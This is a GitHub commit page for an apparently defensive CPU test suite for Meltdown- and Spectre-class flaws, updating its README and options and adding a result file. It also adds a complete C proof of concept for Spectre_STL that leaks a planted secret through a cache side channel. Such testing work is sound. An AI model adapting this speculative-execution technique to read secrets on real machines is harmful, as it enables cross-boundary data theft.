Skip to content

Commit 9a5a315

Browse files
github-3rr0rgithub-3rr0r
committed
2020.10.17
1. add options "-s" and "-m" 2. fix a typo 3. fix a lost variable "stl" 4. update README.md 5. add a template of result.txt (simple result)
1 parent bf1982c commit 9a5a315

File tree

5 files changed

+303
-38
lines changed

5 files changed

+303
-38
lines changed

‎README.md‎

Lines changed: 108 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,8 @@ This project is mainly based on project [Transient Fail](https://github.com/IAIK
1212

1313
Linux with gcc and other dependent libraries.
1414

15+
Developed on 5.4.0-47-generic #51~18.04.1-Ubuntu.
16+
1517
#### CPU
1618

1719
x86 and arm64 are supported.
@@ -20,44 +22,51 @@ x86 and arm64 are supported.
2022

2123
Meltdown-like and Spectre-like vulnerabilities, more information will be also found on paper [A Systematic Evaluation of Transient Execution Attacks and Defenses](http://cc0x1f.net/publications/transient_sytematization.pdf).
2224

25+
This vulnerablities are supported:
26+
27+
| Systematic type name | CVE | Description |
28+
| -------------------- | ----------------------------------------- | ------------------------------------------------- |
29+
| Meltdown_AC | - | - |
30+
| Meltdown_BR | - | - |
31+
| Meltdown_DE | - | - |
32+
| Meltdown_GP | CVE-2018-3640 | Spectre V3a, rogue system register read |
33+
| Meltdown_NM | CVE-2018-3665 | Lazy FP |
34+
| Meltdown_P | CVE-2018-3615/CVE-2018-3620/CVE-2018-3646 | Foreshadow, L1 terminal fault |
35+
| Meltdown_PK | - | - |
36+
| Meltdown_RW | | Spectre V1.2, write to page with read-only flag |
37+
| Meltdown_SS | - | - |
38+
| Meltdown_UD | - | - |
39+
| Meltdown_US | CVE-2017-5754 | Meltdown, rogue data cache load |
40+
| Spectre_BTB | CVE-2017-5715 | Spectre V2, branch target injection |
41+
| Spectre_PHT | CVE-2017-5753 | Spectre V1, bounds check bypass |
42+
| Spectre_RSB | - | - |
43+
| Spectre_STL | CVE-2018-3693/CVE-2018-3639 | Spectre V1.1, NG and V4, speculative store bypass |
44+
2345
### Configurable features
2446

2547
#### Select vulnerbilities
2648

27-
This test suite allows you to select the vulnerabilities to be tested at first.
49+
This test suite allows you to select the vulnerabilities with option "-v".
2850

29-
Following combinations are supported:
51+
Default option is "all" for testing all vulnerabilities.
3052

31-
| Options | Vulnerabilities to be tested |
32-
| ----------- | ------------------------------- |
33-
| all | All vulnerabilities |
34-
| meltdown | All Meltdown vulnerabilities |
35-
| spectre | All Spectre vulnerabilities |
36-
| spectre_btb | All Spectre_BTB vulnerabilities |
37-
| spectre_pht | All Spectre_PHT vulnerabilities |
38-
| spectre_rsb | All Spectre_RSB vulnerabilities |
53+
#### Output valid PoCs
3954

40-
You can also use multi_parameters to select specific vulnerabilities and separate them with spaces:
55+
You can enable and specify a markdown file as output of valid PoCs with option "-o"
4156

42-
| Options | Vulnerabilities to be tested | Options | Vulnerabilities to be tested |
43-
| ------- | ---------------------------- | ---------- | ---------------------------- |
44-
| ac | Meltdown_AC | btb_sa_ip | Spectre_BTB_sa_ip |
45-
| br | Meltdown_BR | btb_sa_oop | Spectre_BTB_sa_oop |
46-
| de | Meltdown_DE | btb_ca_ip | Spectre_BTB_ca_ip |
47-
| gp | Meltdown_GP | btb_ca_oop | Spectre_BTB_ca_oop |
48-
| nm | Meltdown_NM | pht_sa_ip | Spectre_PHT_sa_ip |
49-
| p | Meltdown_P | pht_sa_oop | Spectre_PHT_sa_oop |
50-
| pk | Meltdown_PK | pht_ca_ip | Spectre_PHT_ca_ip |
51-
| rw | Meltdown_RW | pht_ca_oop | Spectre_PHT_ca_oop |
52-
| ss | Meltdown_SS | rsb_sa_ip | Spectre_RSB_sa_ip |
53-
| ud | Meltdown_UD | rsb_sa_oop | Spectre_RSB_sa_oop |
54-
| us | Meltdown_US | rsb_ca_ip | Spectre_RSB_ca_ip |
55-
| stl | Spectre_STL | rsb_ca_oop | Spectre_RSB_ca_oop |
57+
#### Show simple options
5658

57-
Default option is "all" for testing all vulnerabilities.
59+
You can show simple supported vulnerablities options with option "-s"
5860

59-
#### Output valid PoCs
60-
#### To be added...
61+
#### Simple result output
62+
63+
You can use option "-m" in test mode, simple result output will be available.
64+
65+
0 means vulnerable, 1 means not vulnerable, other values mean error or not tested.
66+
67+
#### Other details
68+
69+
You can use option "-h" to show all help messages or read the last part of this document.
6170

6271
## Repository Structure
6372

@@ -103,6 +112,77 @@ chmod +x run.sh
103112
./run.sh
104113
```
105114

115+
4. Run options
116+
##### Usage
117+
118+
```
119+
Auto mode : run.sh [-o filename] [-m]
120+
Manual mode: run.sh [-v "list of vulnerablities"] [-o filename] [-m]
121+
Show usage : run.sh -h
122+
Show supported vulnerablities: run.sh -l [-m]
123+
```
124+
125+
##### Modes
126+
127+
```
128+
Auto mode will test all vulnerablities covered in this test suite.
129+
In manual mode, you can specify vulnerablities to be tested with options -v and followed by a list of vulnerablities.
130+
```
131+
132+
##### Options
133+
134+
```
135+
-o enable and specify a markdown file as output of valid PoCs
136+
-v list of vulnerablities to be tested. If not specified, all vuls will be test
137+
-h show usage
138+
-l show supported vulnerablities
139+
-s show simple supported vulnerablities options
140+
-m used in test mode, simple result output will be available.
141+
0 means vulnerable, 1 means not vulnerable, other values mean error or not tested.
142+
```
143+
144+
##### Valid args of -v option
145+
146+
You can select combination of vulnerabilities with following inputs:
147+
148+
| Options | Vulnerabilities to be tested |
149+
| ----------- | ------------------------------- |
150+
| all | All vulnerabilities |
151+
| meltdown | All Meltdown vulnerabilities |
152+
| spectre | All Spectre vulnerabilities |
153+
| spectre_btb | All Spectre_BTB vulnerabilities |
154+
| spectre_pht | All Spectre_PHT vulnerabilities |
155+
| spectre_rsb | All Spectre_RSB vulnerabilities |
156+
157+
You can also use multi_parameters to select specific vulnerabilities and separate them with spaces:
158+
159+
| Options | Vulnerabilities to be tested | Options | Vulnerabilities to be tested |
160+
| ------- | ---------------------------- | ---------- | ---------------------------- |
161+
| ac | Meltdown_AC | btb_sa_ip | Spectre_BTB_sa_ip |
162+
| br | Meltdown_BR | btb_sa_oop | Spectre_BTB_sa_oop |
163+
| de | Meltdown_DE | btb_ca_ip | Spectre_BTB_ca_ip |
164+
| gp | Meltdown_GP | btb_ca_oop | Spectre_BTB_ca_oop |
165+
| nm | Meltdown_NM | pht_sa_ip | Spectre_PHT_sa_ip |
166+
| p | Meltdown_P | pht_sa_oop | Spectre_PHT_sa_oop |
167+
| pk | Meltdown_PK | pht_ca_ip | Spectre_PHT_ca_ip |
168+
| rw | Meltdown_RW | pht_ca_oop | Spectre_PHT_ca_oop |
169+
| ss | Meltdown_SS | rsb_sa_ip | Spectre_RSB_sa_ip |
170+
| ud | Meltdown_UD | rsb_sa_oop | Spectre_RSB_sa_oop |
171+
| us | Meltdown_US | rsb_ca_ip | Spectre_RSB_ca_ip |
172+
| | | rsb_ca_oop | Spectre_RSB_ca_oop |
173+
| | | stl | Spectre_STL |
174+
Examples:
106175
```shell
176+
run.sh
177+
# Test all vulnerabilities.
178+
run.sh -m
179+
# Test all vulnerabilities and save simple result to result.txt.
180+
run.sh -v "meltdown spectre_btb" -o report
181+
# Test all Meltdown and all Spectre_BTB type vulnerabilities, and save successful PoCs to report.md.
182+
run.sh -v "meltdown spectre_btb" -o report -m
183+
# Test all Meltdown and all Spectre_BTB type vulnerabilities, save simple result to result.txt, and successful PoCs to report.md.
184+
```
185+
186+
```
107187
# This project was originally call Transient Execution Attack Test Suite, but the abbreviation was really cursed. I've also tried TAT, a cute name, but full name without "execution" seems unreasonable. So after careful consideration, I decided to use "TEApot" as the name of the project. Both "pot" and "suite" are containers for something.
108188
```

‎report.md‎

Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1109,3 +1109,110 @@ int main(int argc, char **argv)
11091109

11101110
```
11111111
1112+
10. Spectre-STL
1113+
```c
1114+
#include <pthread.h>
1115+
#include <stdint.h>
1116+
#include <stdio.h>
1117+
#include <stdlib.h>
1118+
#include <string.h>
1119+
#include <unistd.h>
1120+
#include <sys/prctl.h>
1121+
#include <seccomp.h>
1122+
#include <linux/seccomp.h>
1123+
1124+
#include "libcache/cache.h"
1125+
#include "lib/global.h"
1126+
1127+
// inaccessible (overwritten) secret
1128+
#define SECRET "SECRETSS"
1129+
#define OVERWRITE '#'
1130+
1131+
char *data;
1132+
1133+
char access_array(int x)
1134+
{
1135+
// store secret in data
1136+
strcpy(data, SECRET);
1137+
1138+
// flushing the data which is used in the condition increases
1139+
// probability of speculation
1140+
mfence();
1141+
char **data_slowptr = &data;
1142+
char ***data_slowslowptr = &data_slowptr;
1143+
mfence();
1144+
flush(&x);
1145+
flush(data_slowptr);
1146+
flush(&data_slowptr);
1147+
flush(data_slowslowptr);
1148+
flush(&data_slowslowptr);
1149+
// ensure data is flushed at this point
1150+
mfence();
1151+
1152+
// overwrite data via different pointer
1153+
// pointer chasing makes this extremely slow
1154+
(*(*data_slowslowptr))[x] = OVERWRITE;
1155+
1156+
// data[x] should now be "#"
1157+
// uncomment next line to break attack
1158+
//mfence();
1159+
// Encode stale value in the cache
1160+
cache_encode(data[x]);
1161+
}
1162+
1163+
int main(int argc, char **argv)
1164+
{
1165+
PREPARE();
1166+
1167+
printf("Spectre_STL Begins...\n");
1168+
1169+
data = malloc(128);
1170+
// store secret
1171+
strcpy(data, SECRET);
1172+
1173+
// Flush our shared memory
1174+
flush_shared_memory();
1175+
1176+
// nothing leaked so far
1177+
char leaked[sizeof(SECRET) + 1];
1178+
memset(leaked, ' ', sizeof(leaked));
1179+
leaked[sizeof(SECRET)] = 0;
1180+
1181+
int j = 0;
1182+
for (int i = 0; i < MAX_TRY_TIMES; i++)
1183+
{
1184+
// for every byte in the string
1185+
j = (j + 1) % sizeof(SECRET);
1186+
1187+
// overwrite value with X, then access
1188+
access_array(j);
1189+
1190+
mfence(); // avoid speculation
1191+
// Recover data from covert channel
1192+
cache_decode_array(leaked, j);
1193+
}
1194+
for (int i = 0; i < sizeof(SECRET) - 1; i++)
1195+
{
1196+
if (SECRET[i] == leaked[i])
1197+
{
1198+
passed_count++;
1199+
}
1200+
}
1201+
// puts(leaked);
1202+
int exit_result = 0;
1203+
if (passed_count > 0)
1204+
{
1205+
printf(ANSI_COLOR_RED "Spectre_STL: Vulnerable\n" ANSI_COLOR_RESET);
1206+
exit_result = EXIT_SUCCESS;
1207+
}
1208+
else
1209+
{
1210+
printf(ANSI_COLOR_GREEN "Spectre_STL: Not Vulnerable\n" ANSI_COLOR_RESET);
1211+
exit_result = EXIT_FAILURE;
1212+
}
1213+
printf("Spectre_STL done!\n\n");
1214+
exit(exit_result);
1215+
}
1216+
1217+
```
1218+

‎result.txt‎

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
ac 1
2+
br 0
3+
de 1
4+
gp 1
5+
nm 1
6+
p 1
7+
pk 255
8+
rw 0
9+
ss 1
10+
ud 1
11+
us 0
12+
btb_sa_ip 0
13+
btb_sa_oop 1
14+
btb_ca_ip 1
15+
btb_ca_oop 1
16+
pht_sa_ip 0
17+
pht_sa_oop 0
18+
pht_ca_ip 0
19+
pht_ca_oop 0
20+
rsb_sa_ip 1
21+
rsb_sa_oop 0
22+
rsb_ca_ip 1
23+
rsb_ca_oop 1
24+
stl 0

0 commit comments

Comments
 (0)